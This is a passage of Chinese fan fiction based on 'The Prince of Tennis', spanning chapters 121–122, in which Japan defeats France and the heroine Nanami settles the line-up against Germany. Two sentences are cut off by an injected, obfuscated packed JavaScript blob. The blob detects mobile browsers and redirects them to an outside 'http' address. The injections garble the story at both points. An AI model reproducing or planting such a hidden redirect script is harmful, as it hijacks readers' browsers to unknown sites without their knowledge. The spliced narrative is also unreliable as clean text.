“其实......” 121.第 121 章 第二日对战法国的四分之一决赛,第一局君岛白石pair对战法国的潮男双打,坐在教练席上,七海终于明白了种岛修二那天在神秘什么。 “Game set, 胜者日本队,4-6,6-4,7-6!” 白石藏之介的星之圣经吸收了四天宝寺部员们的特质,进化出了新的形态,配合君岛育斗的十三行抒情诗顺利拿下了第一局。 四天宝寺的少年们在观众席上疯狂为自家部长打CALL,金色小春已然一副被白石藏之介帅得神魂颠倒的模样,捂着双脸直言要嫁给白石,顺带与一氏裕次上演了一出爱恨离愁的戏码。 小金每到了使出他的招式时就激动得嗷嗷大叫,忍足谦也也不遑多让,一直喊着“不愧是浪速之星帅惨了”夸了赛场上的人又顺带夸了自己。 “☆之介的圣经进化成星之圣经了呐,二阶堂。”种岛修二不知何时站到了她身后。 “嗯。看来藏之介也找到了属于他的网球进化方向呢。说起来,种岛,你很关注藏之介呐,如果想和他打双打可以来贿赂我哦。”七海微笑着转过头,眨了眨眼。 种岛修二调皮道:“哪天把他的黄金护腕偷过来给你够了吗?” “那还是算了,销赃也很麻烦呢。”七海随意地配合着对方的玩笑。 两人的插科打诨告一段落,白石和君岛结束见礼回到了选手席位,她的头顶再次响起一道声音。 “七海,种岛学长,谢谢。” 七海转过头,笑眯眯回道:“不客气。” 坐在一边的平等院还是老样子,双臂抱于胸前,面色冷厉。 第一双打的比赛出了点意外。 埃德加和乔纳尔这对双打,七海和迹部景吾曾在法网赛场上和他们打过一次比赛,因而,这两个人的详细数据早就传到了日本队,胜利可以说是板上钉钉。 可没想到的是—— “毛利学长,你没告诉他们吗?”七海在第二局结束后便气冲冲地把少年拉到一边质问。 “啊,小七海,我是忘了。”毛利寿三郎歉然道,背在脑后的双手默默垂了下来。 “我才不信你呢!你跟我过来。” 七海再次扯着毛利的制服衣袖,直接把少年扯到了选手席位边,没有片刻犹豫地,大声地,干脆地开口: “柳,精市,毛利学长就是那个给精市送水的人。他其实一直特别特别关心精市,打网球现在也很努力!好,我的话说完了。” 她最讨厌误会戏码了!这时候就需要快刀斩乱麻。 柳莲二震立当场,睁大了狭长的双眼。“毛利学长......对不起,我......” 毛利寿三郎笑得温和,挠了挠头,毫不介怀。 七海把毛利寿三郎推搡着硬是推到了柳莲二身边:“所以,别打那么别扭的双打了!快点取胜吧。” 站在后排的幸村精市看着眼前发生的这一幕,嘴角浮现一抹柔和笑意。 接下来的比赛已无悬念,最终日本队以两盘连胜取得了第一双打的胜利。 毛利寿三郎的深度睡眠打法让七海当场吐出八个字:“沉睡的毛利寿三郎。”可惜没有人懂她,一丝不起眼的寂寥一闪而过。 第三单打比赛即将开始。 “第三单打......居然是加缪?”屏幕上显示的第三单打选手姓名,法国队派出的赫然是他们的队长Leopold·Camus。 加缪亲了口球拍,随即深情道:“七海,有你在,法国队可不敢掉以轻心哦。” 七海恍然大悟,日本队最近大出风头,无论是正式比赛还是那场和韩国队私下进行的比赛都彰显了日本队的实力。 法国队考虑到三连败直接出局的可能,哪怕只是些微可能,还是在第三单打上了队长。 “加缪,这可真是冤家路窄,啊恩?”迹部景吾拿起球拍走下了场,脸上挂着嚣张的笑容。 没错,日本队这边派出的第三单打是迹部景吾。 七海今早才听入江奏多说起昨夜在教练宿舍发生的一连串风波,为了让Duke能有机会和加缪一战,他们潜入三船入道的房间,一通操作本想篡改三船写的出战名单,结果三船那个傲娇老头早就把Duke放到了单打一。 然而,他们大概也没想到,法国队会把加缪放到单打三。 加缪满脸无奈:“怎么会是冤家呢,景吾。你该不会还在计较我上次和你说的那几句话吧。” “呵,就让本大爷送你和你的妻子去殉情吧!” 明明左耳的同声翻译耳机已经把他们之间的法语对话翻译完全,可在七海听来还是像加密通话似的,拼图最关键的部分缺失,抓不住其中的关键信息。 比赛的盛况倒是没有辜负这两人之间的硝烟,开局迹部景吾便绝技频出,而对场的加缪也疯狂发射爱心之球,前两盘一胜一负。 日本队费尽全力取得第二盘的胜利时,赛场上的灯泡已尽数碎裂。好在是白日未封顶的赛场,并没有几盏灯亮着,比赛得以照常继续。 “景吾,你怎么了?”盘中休息,七海站起身担忧地望着站在自己面前的少年。 迹部景吾的额头上冒出了细细密密的汗珠,勾起的唇角和上挑的眉眼带着一股势在必得的自信,连眼下的泪痣都显得格外明亮醒目。 他看起来很兴奋,可似乎太兴奋了,反而让她有些忐忑。 他轻抚着泪痣,笑容张扬:“二阶堂,全国大赛的时候,我让你等着我的胜利,但是我输了。” 记忆的闸门遽然洞开,七海的思绪被这句话一下子拉回到数个月前。 她当然还记得,那场拉力到黄昏的持久战,他败给了越前龙马,还当众剃了头发。 “今天,本大爷会让这句话实现,以后也一样。”他不会再在她面前输了。 “二阶堂,等着本大爷的胜利归来吧!”他在空中打了个清脆响指,拿起球拍向赛场上走去,场边爆发出一阵阵喊着Atobe的应援声,分明开局时观众们还都喊着加缪的名字,只有慈郎他们在喊他的名字。 七海回到教练席坐下没忍住轻笑起来,这个人,拥有把任何客场都变成自己的主场的魅力呢。 第三盘伊始,加缪一改之前的爱心光束击球,转而以一种极其美妙的旋转姿态发球,开场便直接破发。 “Game法国,1-0!” “Game法国,2-0!” “呵,原来如此,这就是革命性的网球,啊恩?”紫灰发少年站在对场,满脸汗水,脸上的兴奋之色却没有减少分毫。 “很遗憾!这些都逃不过本大爷的insight!我已经彻底看破了,加缪!” “迹部王国!” “Game日本,1-2!” 终局,毫不奇怪地变成了持久战。让日本队再赢一局,则加缪带领的法国队结束世界杯之战落幕退场,他不能输。 让法国队赢得这局,则他的承诺再次落空,他更不能输! 南半球炽热的阳光倾泻而下,将硬地晒得发烫,也为赛场上两人大汗淋漓的脸庞镀上了一层光泽,细密的汗珠在日光的照耀下熠熠生辉。 赛场上,紧张而激烈的气氛弥漫开来,只能听到球拍与网球相撞的清脆声响加缪时不时的告白声和观众席上此起彼伏的热烈呼喊。 “22-22” “38-38” ...... ------------------ 同一时间,三连胜快速结束四分之一决赛的德国队选手正步行在前往法国对日本的赛场的走廊上。 博格边走边警醒着身后的少年们:“全战全胜,但别放松警惕,下一个对战的国家是法国和日本之间的胜者。” QP平静地分析着:“如果在过去必然是法国有利,这次比赛,日本队出线的可能高了许多。现在日本队已经拿到了2局胜利。” “这样最好,我一定要把那时的耻辱百倍千倍地讨还回来!”塞弗里德突然顿在原地,咬牙切齿道。 “国光,你也很想赢日本队吧!德国赢了,七海就和大家回德国,所以别在比赛时给德国队丢脸!” QP为着塞弗里德的暴躁脾气有几分发愁,他将视线转向茶发少年无奈地拍了拍他的肩膀:“国光,不用理他。” 手冢国光停下脚步,声音冷肃:“无论是日本还是法国,对手是谁都无所谓。我认为,这是迈向职业选手的第一步。” 德国队夺得十连冠与自己的胜利,他的胸中只剩下了这一个念头。 未来和她都在这条路的尽头,他会坚定不移地向前走去,带着不回头的觉悟。 ----------------------------- 回到日本与法国的赛场,持久战仍在继续。 “43-43” ...... “89-89” ...... “137-137” ...... “211-211” “景吾,没想到你对网球的爱并不少于我呢。”加缪不知为何打着打着潸然泪下,眼角晶莹的泪水随风飘落,激起观众席上一众少女的惊呼与怜惜。 “加缪,你错了。你爱的只有网球,所以你的爱还不够多!”迹部景吾边喊着,边凌厉地回击着对场发过来的一个个球。 “本大爷爱的是网球和她!” 一瞬间,迹部仿佛回到了在罗兰·加洛斯的红土赛场的那个黄昏,那时,他恍惚间看到了属于他们的未来,今天他似乎也看到了,甚至于更清晰了—— 那是在日本的赛场上...... 霎时间,他突然看到了对场加缪的动作,他的动作似乎变得极其缓慢,使他能够轻易捕捉到并回击。 场上,最后一记抽球飞射而出,小球飞过球网径直将金发少年手中的球拍击落,拍线上绑戒指的线崩断,在对角底线弹起! 同一时间,一抹银亮滚落在地。 加缪愣了愣,接着缓缓蹲下身将它捡起。 “Game set,日本队胜利,3-6,7-6,7-6!” 三连胜,日本队晋级半决赛。 七海的注意力仍停留在方才耳边那句从法语翻译成日语的告白,心绪纷杂得要命。 “呵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221409|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的力量吗。”平等院凤凰坐在位置上一副皮笑肉不笑的表情。 这句吐槽总算让她从胡思乱想中抽出,她斜睨了他一眼,递过去一个“一看你就不懂爱”的眼神,平等院以面无表情应万变。 两人在网前见礼,加缪不知递了什么东西过去给迹部景吾,她只能看到阳光下,那个东西反射出熠熠白光。等他回到选手席她问他,他却轻笑了一声不予回答。 七海撇了撇嘴,什么嘛,这两个人搞这么神神秘秘的,在法国的时候就有什么事瞒着她,现在还瞒着她。 不过——七海在教练席上伸了个懒腰绽放出了一个大大的笑容,他们晋级半决赛了! 下一瞬,伸至半空的双手垂了下来,少女脸上的笑容骤然消失得无影无踪。 半决赛的对手是......德国。 心随意转间,她被一股莫名的视线吸引着,不自觉地望向赛场的某一处,紧接着,她的瞳孔扩大了一圈。 坐在观众席边缘那群穿着黑红制服的少年们是......德国队的选手。 ------------------------ 还有一件事,瑞士队,输给了美国队。 接驳停车场,七海向三船入道告了声假,跑到了瑞士队的巴士边,少年们正准备上车。阿玛迪斯发短讯告诉她,除了几个重要正选,其他人明天就要回瑞士继续训练了。 排名第二的瑞士队,这次连四强都没能进去,他们的心理压力应该很大吧。 尤其是阿玛迪斯,既是职业选手又是队长,意味着他既要给赞助商交代,又要承担整个团队失利的压力。 欧诺基伊哈教练心里应该也不好受......瑞士队当了这么多年的第二名,今年,也没能冲擂成功,甚至不进反退。 她不是不理解竞技体育的残酷,她也不是天真到认为人人都赢才好,只是,终究免不了遗憾,即使遗憾是必然。 “阿玛迪斯!欧诺基伊哈教练!”七海喊住了即将上车的少年们以及欧诺基伊哈教练。 “七海,你怎么来了?”兰比尔转头讶异道。 “兰比尔,听说你的膝盖在比赛的时候旧伤复发了,没事吗?”少女满面担忧之色。 戴着黑框眼镜的少年笑意盈盈:“问题不大。” “我发给你的那个疗养院,你一定记得去看看,带上我给你的名片。” “谢谢,七海。”兰比尔走上前大大方方地给了她一个拥抱。 “兰比尔......”七海坚定了神色望向他。“我会等着你伤愈,成为职业选手。” 他也已经高三了呐。如果解决不了旧伤,恐怕以后无法走向职业道路了,明明是被称为瑞士网球界的至宝的少年,她不希望至宝蒙尘。 这是属于他们最好的时代,群星璀璨,百舸争流才是良性竞争,而非你死我活。 “七海......好,我会的。” “阿玛迪斯,欧诺基伊哈教练,抱歉,这次比赛没能帮上你们什么忙......”她又转向另两人歉疚道。 欧诺基伊哈捋了把胡子柔声安慰:“七海,你已经帮了我们很多了。等你下次来瑞士,再带你一起爬雪山。” “七海,帮我告诉平等院,下次有机会再和他一战,我等他成为职业选手。”阿玛迪斯回道。平等院凤凰,这个男人值得他敬佩。 少女浅笑着:“我知道,他会成为职业选手的。未来,你们一定还有机会再在职业赛场比赛的,我向你承诺。” 脏辫少年面上难得露出了温和的神色,“七海,我相信你。” “那,大家,瑞士再见了。也欢迎大家以后来日本找我玩。” 和瑞士队的少年们一个个告别,七海目送着巴士的驶离,硬是将泪水憋了回去。她正准备回日本队的巴士,法国队的少年们恰巧也步行到了停车场。 七海汗颜,她差点忘了自己是法国队的顾问这回事,看到那群少年才想起来。 她赶忙跑到法国队的巴士车门口:“加缪,你们也要回法国了吗?” 夕阳的余晖落在少年湛蓝的瞳孔中,将他的双瞳也染成了柔亮的橙色,加缪抬起她的手轻吻了一下,语气温和平静: “七海,我们留在这里,等世界杯结束再走。” 七海轻舒了一口气。“那就好......”离别太痛了,哪怕只是再晚一点点都好。 “加缪。”Duke不知何时也走了过来。“结果还是没能交手就结束了比赛。” “Duke,或许这也是命运的捉弄吧。”加缪笑意清浅,七海却看出了他蓝瞳中的丝丝遗憾。 “说起来,这些中学生们也是一股重要的力量。”Duke想起了那个白发少年。 加缪意有所指地将视线移向斜侧的少女:“我相信,日本这一代有才华的年轻人必然能够引领新时代的网球界。” Duke点了点头,不再多言。 即将返程之际,七海另想起一事,再次开口询问。 “对了加缪,今天比赛结束时,你给了景吾什么?” 加缪笑得意味深长: “等他自己把东西转交给你吧。” 122.第 122 章 回到选手村时,夕阳已接近落幕。余晖缓缓沉落在地平线上,渐渐染红了整片天空。斜阳的光芒洒落在大地,映照出一片瑰丽的橙红色晚霞。 七海仰头望着绚烂的天幕,却感到淡淡的遗憾。 晚霞很美,可是第二天就会被人遗忘,因为永远会有新的晚霞出现,代替往日。 去掉今晚还有两天,或者说,只剩两天就是和德国队的半决赛了。 今夜,结束双打比赛后,初高中生正选代表全员以及教练组在急召下聚在了休息室里,安排接下来两日的行程。 七海不知道是不是紧张的缘故,肚子一直抽痛着,皱着眉缩在沙发的一角,默默地听着平等院凤凰站在老地方说那些陈词滥调。 “德国队的实力远非我们之前对战的几所国家可比!半决赛开始,才是真正的地狱!”平等院凤凰高声警告着,又摆出了阴沉凶恶的神情。 七海没忍住丢过去一记鄙视的斜眼。 平等院,地狱这个词从合宿开始说到现在,大家都脱敏了。只是......这一次他说对了,和德国队的比赛,必将是一场恶仗。 紧接着,三船入道站起身宣布了未来的行程安排: “接下来两天的行程安排如下!第一天,自由活动!第二天,自主练习,晚上,公布出战选手名单!七海,你先来说一下出战名单的事。” 七海缓缓起身,走到了休息室的会议大屏前,打开显示屏。 她环视了一圈休息室里或坐或立的少年们,声音带了点虚弱,不过不影响她话里内容的震撼程度。 “其实,很早之前教练组就推测出了德国队的出战名单。这次对战德国,输赢难料,所以这次的比赛,有几个位置我们希望大家自己来报名。” 这句话一出立时引燃了少年们的激烈讨论,休息室嘈杂得像个菜市场,七海递了个眼神给平等院—— “保持安静!” 日本第一的威吓果然一如既往的效果斐然,所有人的嘴巴霎时间像被胶带封上了似的,屋内寂静无声。七海有点想笑。 她轻点了一下屏幕,“首先,先和大家说一下德国队的出战名单吧。”屏幕上出现了几组名字。 “双打,大家都知道,施耐德和贝尔蒂这对职业双打一定会上场,我们目前的双打组合里,几乎只有Duke加平等院才有可能与之一战。不过,平等院要去和单打一博格对战......” 七海下意识将目光移向站在一边阴沉着脸的平等院凤凰,不知道,这几天的双打比赛他到底领悟到了多少。 “之前对战这对职业双打的人选未敲定......但是我知道,有人一直等着这个机会。”七海定了定神,又将目光移向休息室角落沙发上的白发少年,视线交汇地刹那,他勾起一个痞里痞气的笑容。 “所以,让我来宣布应战的双打人选吧。” “Duke·渡边和......仁王雅治。” 初中生这边,讨论声再次被点燃。 切原赤也从沙发上跳起转过身望向后方处变不惊的少年:“仁王前辈?!” “噗哩,别那么惊讶嘛。”仁王雅治依旧吊儿郎当地笑着。 “没想到会是这样的组合呐。”忍足侑士扶了扶眼镜。 真田弦一郎只沉声道:“仁王,不要松懈!” 由着他们讨论了一会儿,七海清了清嗓子继续。 “单打一博格对平等院也已经敲定。所以最后剩下来未定的三个位置分别是,双打,对战塞弗里德和俾斯麦的人选。” 她的话音刚落,一个人就窜了出来:“公主殿下,我要和那个塞什么的打!” 七海面露无奈地扶额,上次吵架俩人结下梁子了,她就猜到赤也会蹦出来。 “赤也,你和塞弗里德的性格其实有些像,都是容易被挑拨的炸药脾气,这样的性格说不定会被对方利用,我没法放心让你上场和这两个人打。” “赤也,二阶堂说得很对。”柳莲二赞同道。 切原赤也的气焰立刻消退了一半。“公主殿下......我,我保证到时候会专注比赛,不会理会他的。” “真的吗?” “真的!Really!Really!”这是某种海带急了就会念英文的神奇现象。 “唉......那我可就信你一次了。可以是可以,但是前提是,你要找到和你搭档的高中生,以及没有其他人和你们争这个位置。” 切原赤也马上把火热的目光移向高中生坐的那圈沙发边,不知道他最终能找到谁。七海拍了拍少年的肩膀示意他先保持安静,小海带乖巧坐下。 “第二个位置,单打,对战QP的人选未定。QP是高中生,因而,我们这边也需派出一位高中生,平等院,你们可以在会议结束后私下讨论出一个结果交给我。” 平等院凤凰无不可地点了点头。 她还没有将最后一个人说出口,却不知为何休息室内不约而同地沉寂了下来,太多双眼睛带着不同的情绪望着她,注视着她,等待着她说出那个人的名字。 七海平静地开口:“最后一个位置,单打,手冢国光。” “我知道有很多人想和他打。”她环视了一圈初中生的阵营,一张张的脸扫过去。 “真田,全国大赛之后,你还一直没有机会与他一战。那一天,我也听到了,你想终结名为手冢国光的宿命。”真田弦一郎沉默着点了点头。 “周助,我也明白你心里的渴望。”不二周助蓝眸乍现,瞳孔中燃烧着浓烈的战意。 “景吾,精市,你们......我就更不必说了。”那两人的表情,十分之严肃。 “其他人也一样,但是能和他打的选手只有一个......”她叹了口气。 “或许很多事就是这样,总会有遗憾。但我也希望大家明白,其实对手是谁,重要,也不重要。” “现在大家都知道了,西班牙队比德国队更可怕。但是如果赢不过德国队,我们连碰上西班牙队的机会都没有。因此,这次,不考虑保留实力了。” 七海拉高了声调:“我们只为了赢!过往的执念也好,败仗也好,都该放到一边,选出最有可能打败他的人吧!” 真田弦一郎帽檐下的眼神闪烁不定,嘴唇紧抿,显然内心正在激烈地权衡着什么。过了一会儿,他似乎是下定了什么重大决心,抬头肃声道: “二阶堂,我推荐幸村。” “真田......”幸村精市看向坐在沙发对面的少年,一瞬间愣了神。 不二周助轻笑着:“七海,我还记得我们的约定。留我去和西班牙队一战吧。” “幸村,别辜负我们的期望,啊恩?”迹部翘着二郎腿,神色轻傲,说出的话却是在支持。 过往的一幕幕在幸村精市的脑海中浮现,国小时球场边的初遇,国中一次次举起胜利的奖杯,直到他倒下...... 黄昏时分的天桥上,金井病院的天台上,夜晚立海大的网球场上,镰仓的黄昏海边,合宿营地的那一战,以至现在。 他不会辜负她和他们的信任。 幸村精市从沙发上站起,身周的气场陡然一变,整个人笼罩在一股凛冽的战意之中,蓝紫色的双瞳中射出的目光锐利得仿佛能割断一切。 分明屋内此刻没有一阵风吹过,他们却看到了烈风中,少年的外套随风摆动,猎猎作响,仿佛受到了什么看不见的力量鼓荡。 那是那个被称为“神之子”的少年,那个名叫幸村精市的少年,传递出的无可比拟的滔天意气。 “七海,让我去吧。” 【七海,让我成为你的剑。】 七海愣愣地注视着被众人视线聚焦的少年,目光交汇的那一刻,连小腹传来的翻涌裹绞的疼痛似乎都停滞了。 她恍惚地开口:“精市......” 他的目光坚定而深邃,直直地凝视向她。 往事如潮水席卷而来。那些久远的画面、声音、情感不由自主地涌入她的大脑。 记忆的漩涡将她拉回了全国大赛抽签会前夜,在立海大的网球场上,他曾对她说—— 【“请你也相信我一次吧,七海。”】 那一次她的心中仍有担忧,她只能选择相信他,可事实证明,他做到了。 再次抽离,她又坠入了同室操戈后合宿营地的那个夜晚,围栏边,他曾对她说—— 【“我相信你,无论何时。”】 她忽地笑开了:“精市,有一句话,我一直忘了说。” 那是你曾经对我说过的话,现在,这句话也送给你。 “我相信你,无论何时。” 还没等幸村精市对她的话做出反应,七海再也忍不住腹痛缓缓蹲了下来,几道身影正欲冲过来,余光瞥见,她赶忙摆了摆手。 “七海,怎么了?”离她最近的大石秀一郎跟着蹲下了身,满脸担忧之色。 她的额头渗出细细密密的冷汗,“可能是吃坏肚子了吧。”旋即,她忽地感受到下身一股热流......那个人明明提醒过她,她自己却忘了。 “啊,呃,不,好像不是吃坏肚子了......”七海的脸腾地涨红了。 说起来,她已经吐了这么多次血了居然还有血能流。 不过仔细一想,全国大赛时,浑身是血的乾被包成了木乃伊,最后也完全痊愈了,德川吐血吐成那样现在居然也恢复了。 果然这个世界的很多事不可以用科学来解释,或者是这群少年们以及她的造血能力都比较强吧。 不,现在不是想这件事的时候。她世界杯期间的穿着还保持着合宿时期的造型,日本队的红色衬衫加白色网球裙,外搭教练的白大褂外套,她现在得赶紧回房间换下裙子...... “那个,我还有点事,我先走了!今天也不早了,大家早点休息吧。”少女的眼神飘忽不定,起身捂着小腹急匆匆走出了休息室。 切原赤也满头问号:“公主殿下到底怎么了?” 不二周助笑眯眯回道:“是女孩子的事吧。”回去之后问问七海有没有止痛药备着吧,她总是忘。 “女孩子的事?......啊!啊......”切原赤也这才明白是什么,闹了个大红脸。毕竟家里有妈妈和姐姐在,生理课也有上过,他不是什么也不懂。 ---------------------------- 距离半决赛还有两天。 一大早,七海的房门就被人叩开。 “公主殿下!”站在门口的是兴高采烈的切原赤也,海藻般的卷发因为一路小跑上下颤动着,七海没忍住伸手揉了揉,果然还是赤也的头发手感一绝。 切原赤也双眼放光,拉住她的双手雀跃道:“公主殿下!我找到双打的搭档了!” 她故作疑惑地歪了歪头,“是谁?” “种岛前辈!”小海带激动道。昨晚他还没有去找前辈们问,没想到种岛前辈就自己过来找他了。那个塞什么的,本天才一定要把他打个落花流水! 七海勾起了嘴角,果然。 无论是真田还是藏之介还是赤也的事,种岛修二,这个少年玩世不恭的外表下有颗小火炉般温暖热忱的心呐。 其实,种岛也好,Duke也罢,还有大曲,鬼,入江,君岛......这群高中生们都对后辈相当照拂,明明他们相识不过两个月不到,友情却在不知不觉间将他们拧成了一股绳。 两年前的法国世界杯,他们收获了无尽的遗憾。 高三的最后一战,不要再留遗憾了。 昨天回到房间后,没过多久她就收到了平等院的短讯,对战QP的人选也已有结果,是鬼十次郎。 如此一来,名单就算彻底敲定了。 接下来这几天,她主要的任务还是带着平等院领悟第九识,以及......半决赛,西班牙队将与美国队一战,越前龙雅,他会出战吗。 美国队那边还有小不点,她只担心他......今晚,好好问问他吧。 “公主殿下?公主殿下!”切原赤也喊了半天,七海这才回过神来,眨了眨眼。 “还有一件很重要的事!我看到迹部桑鬼鬼祟祟出门去了!他刚走没多久,我们快点跟上!”切原赤也决定找他的公主殿下打小报告。 七海愣了愣。景吾?他能去干什么? 她点了点头。“好,那我们一起跟过去看看。” 两人坐电梯下了楼,只见到拐角处一片衣角闪过,赶忙息声屏气,一路偷偷摸摸地跟了过去。 这条路,她怎么觉得很熟悉?似乎是通往......德国队的选手住宿区。 很快,高处的德国队旗帜就验证了她的猜想。七海和切原赤也鬼鬼祟祟地躲在一处草丛后,眼睁睁看着迹部景吾消失在了德国队的大楼门后。 “公主殿下!”切原赤也压低了声音悄咪咪地问,“这里不是德国队的地盘吗?你说迹部桑他是来干嘛,该不会,昨天没能选上和手冢桑比赛,今天偷偷来打吧?” 七海有点对切原赤也同学刮目相看了,还真别说,这番推理不无道理。 不过紧接着,她的刮目相看就被小海带本人再次推翻了。 “不过,也有可能,其实手冢桑是日本队派去的间谍,他们约在了半决赛之前进行地下交易!”切原赤也自信道。 七海:“......” “公主殿下你干嘛这个表情看我,哎呀,是不是被我的聪明才智吓到了。”切原赤也叉腰,居然还有些不好意思地挠了挠头。 七海叹了口气,“赤也,我该说你聪明还是说你笨呢。罢了,我们赶紧跟上吧。” 切原赤也不明所以然,不过不重要,当务之急是赶紧跟上去探个究竟。 “喂,你们两个在那里干什么!”还未等他们走几步,远处,传来了安保人员的一声怒喝,又因手上拿着警棍看起来越发凶神恶煞。 “啊!公主殿下!快逃!!!”切原赤也一声惨叫,抓住七海的胳膊就准备逃,七海还没反应过来便被他生拉硬拽地拖着跑了一小段路。 十数秒后,七海终于硬生生止住了脚步:“赤也!赤也不用跑!你就算跑也不该往德国队的门口跑啊笨蛋!” 切原赤也被迫停下来。“公主殿下,为什么不跑!——啊!”下一秒,他毫不意外地被那两个安保人员擒住按在了地上。 七海心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233601|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的无语层层累加。 “公主殿下,为什么他们不抓你QAQ”切原赤也委屈巴巴地抬头看向站在身边的少女。 “赤也,或许你忘了,我是德国队的顾问。”她面无表情道。 少年当场上演了一出变脸大戏,面色由红转绿再转红,“......我忘了,呜。” “麻烦你们放开他吧,他是我的同伴。”七海用德语回道,安保可没有佩戴翻译耳机,幸好这两位安保还是上次她去找手冢国光时的那两人,认出了她。 “是。”他们解除了钳制。 自从那天和德国队的少年们吃了那顿饭,她便下定决心要好好学习德语和法语。那几支队伍,他们既然给予了她信任,那她至少要学会他们的通用语言。 切原赤也拍了拍身上的尘土龇牙咧嘴地站起,揉了揉肩膀,表情有些颓丧。公主殿下现在肯定觉得他是个笨蛋了。 七海见状没忍住轻笑了一声,“赤也,没事,我们走吧。” “这不是七海吗?”刚准备进门,身后传来了一道熟悉的声音,七海转过头,是俾斯麦。 “七海,你边上这位少年是谁?”俾斯麦挑了挑眉。 “俾斯麦,他是日本队的选手,今天和我一起来找国光有点事。” 俾斯麦很明显并没能相信她蹩脚的解释,不过也不打算戳穿的样子。他提起了其他事:“日本队,今年很强啊......” 从循环赛到八强赛,除了瑞士一战居然全部都是三连胜,完全是异军突起的阵势。 俾斯麦看向七海的目光幽深了几分,可偏偏好巧不巧,他们的顾问是日本队的教练,也是瑞士队的顾问,甚至还是西班牙队的顾问。 今年的西班牙队,实力未能探明,连博格和教练提西班牙队时都是一副如临大敌的严肃表情。 “德国队也一样不是吗,大家就在后天的比赛上见分晓吧。”七海笑眯眯回道。 “嗯,那么,我先走了。”俾斯麦摆摆手离去,海切两人继续向楼上进发。 ...... “就是这里了。”七海带着切原赤也坐电梯抵达了顶楼的室内网球场。 刺目的阳光穿过透明的方格天窗直射而下,在地面上投下了条条框框的阴影。此刻,赛场上的两人打得难舍难分,脸上,脖颈上大颗大颗的汗珠直往下淌。 被赤也猜对了,他们果然在打比赛。 今天日本队的少年们都穿着私服,而手冢国光,他还穿着德国队的训练服。 即使是休赛日,他也从不曾停止训练,回忆起在公共网球场边相遇的夜晚,那时,他大抵也是在给自己加练。 七海忍不住将视线投向场上的黑衣少年,国光......真的很辛苦也很努力啊。 她知道的,他一向如此。 对网球的专注和全情投入,对理想的执着追求,一直都是她钦佩仰慕的原因,也是她......曾喜欢他的原因。 “手冢国光”,这个名字是她上辈子打网球的初心与起点。 “哇,打得好激烈!”切原赤也从柱子后探出半个脑袋,目不转睛地盯着场上。 “手冢,冰之世界,那个冰柱就是你的弱点。” “手冢领域,我已经看腻了!”迹部景吾冷喝道,猛地将飞过来的小球击回。 下一秒,七海的瞳孔骤缩,刚才那一球,明明国光开启了手冢领域,可是迹部景吾打过来的球却并没有发生轨迹变动。 手冢领域——被击破了! “和德国队的半决赛,有很多家伙想与你一战。手冢,为了不在成为职业选手的道路上停滞不前,好好加油吧!”结束比赛,迹部景吾走到场边将脱下的长裤换上边说道。 手冢国光毫不掩饰自己的威势:“不管对手是谁,我都不会输!” “这句话的意思是要为自己而战吗,呵,本大爷很期待后天的比赛!” 七海倚着柱子垂眸专注地听着两人的对话。 这样的场面是有几分熟悉的,对她,对他们来说。 去年关东大赛那场双部之战,那时,他们的身后是青学与冰帝,对于他们而言,既是支持也是重担。 谁又能想到今日。 他们终究会走上为自己而战的路,那是一条光辉,而孤独的路。 网球本就是一项孤独的运动,在几百平的偌大赛场上,每一球都只能靠自己的测算。 他们必须独自面对这条路上的迷惘、痛楚与荆棘,在众目睽睽之下,即使陷入泥淖也只能独自奋战。 唯有内心的信念与勇气才是他们前行的依靠,才能孕育出他们内心的坚韧与力量,帮助他们在这条漫长而曲折的职业道路上,一次次战胜自我。 还好,孤独也有另一面,那上面刻着两个字——自由。 曾有人说,上帝用各种途径使人变得孤独,好让我们可以走向自己。 国光,景吾,走向属于自己的未来吧,不管它最终通向哪。 ...... “七海,切原,你们怎么在这里?”手冢国光走向了场边的他们。 “国光,我们来这里......呃,比较巧合。”七海回过神来,抽了抽嘴角。 迹部景吾瞄了一眼稍显慌张的切原赤也,一眼看穿。“切原,该不会是你拉着她跟踪本大爷吧,啊恩?” 切原赤也紧张地额头直冒汗,“啊,这个......” “景吾,我说过不允许不报备就私下比赛,好像现在该问话的人是我吧。”七海笑眯眯地插嘴。 迹部景吾僵硬了一瞬。 “算啦,下不为例。”只要没有出事故就好。七海掏出衣兜里的手机看了一眼,没想到这一通折腾就已经到了饭点。 “国光,要和我们一起去吃饭吗?”这句话一问出,她才意识到自己说了什么。她明明是想保持距离的,可她为什么下意识发出了邀请...... 只是话已放出,覆水难收。 “好。” ...... 迹部景吾主张要带他们去商业中心顶楼的空中花园高级西餐厅,然而当一行四人到达门口时,却发现餐厅的一角已经有人在就餐—— 他们穿着蓝紫色的皇家网球协会华丽制服,赫然是西班牙队的少年们。 七海恍然大悟。难怪,过去在主餐厅从没偶遇过他们,原来他们一直在这里吃饭,很符合她对西班牙队财大气粗的印象。 远处马尔斯一早便瞄到了门口的一行人,他轻笑着指了指门口,嘴巴一通开合后—— “呵,这不是我们的小顾问吗?”梅达诺雷起身大步向她走来,其余人不知为何也跟了上来。 他越走越近,七海如避蛇蝎般下意识想后退,紧接着又向前了一步,她不能因为本能地害怕他就退缩,更何况,他还帮了她那一回。 “怎么,都到门口了不进来吗?” 七海挤出一个灿烂的笑容,挥了挥手:“梅达诺雷,大家,好巧呀,没想到能在这里碰到你们。” 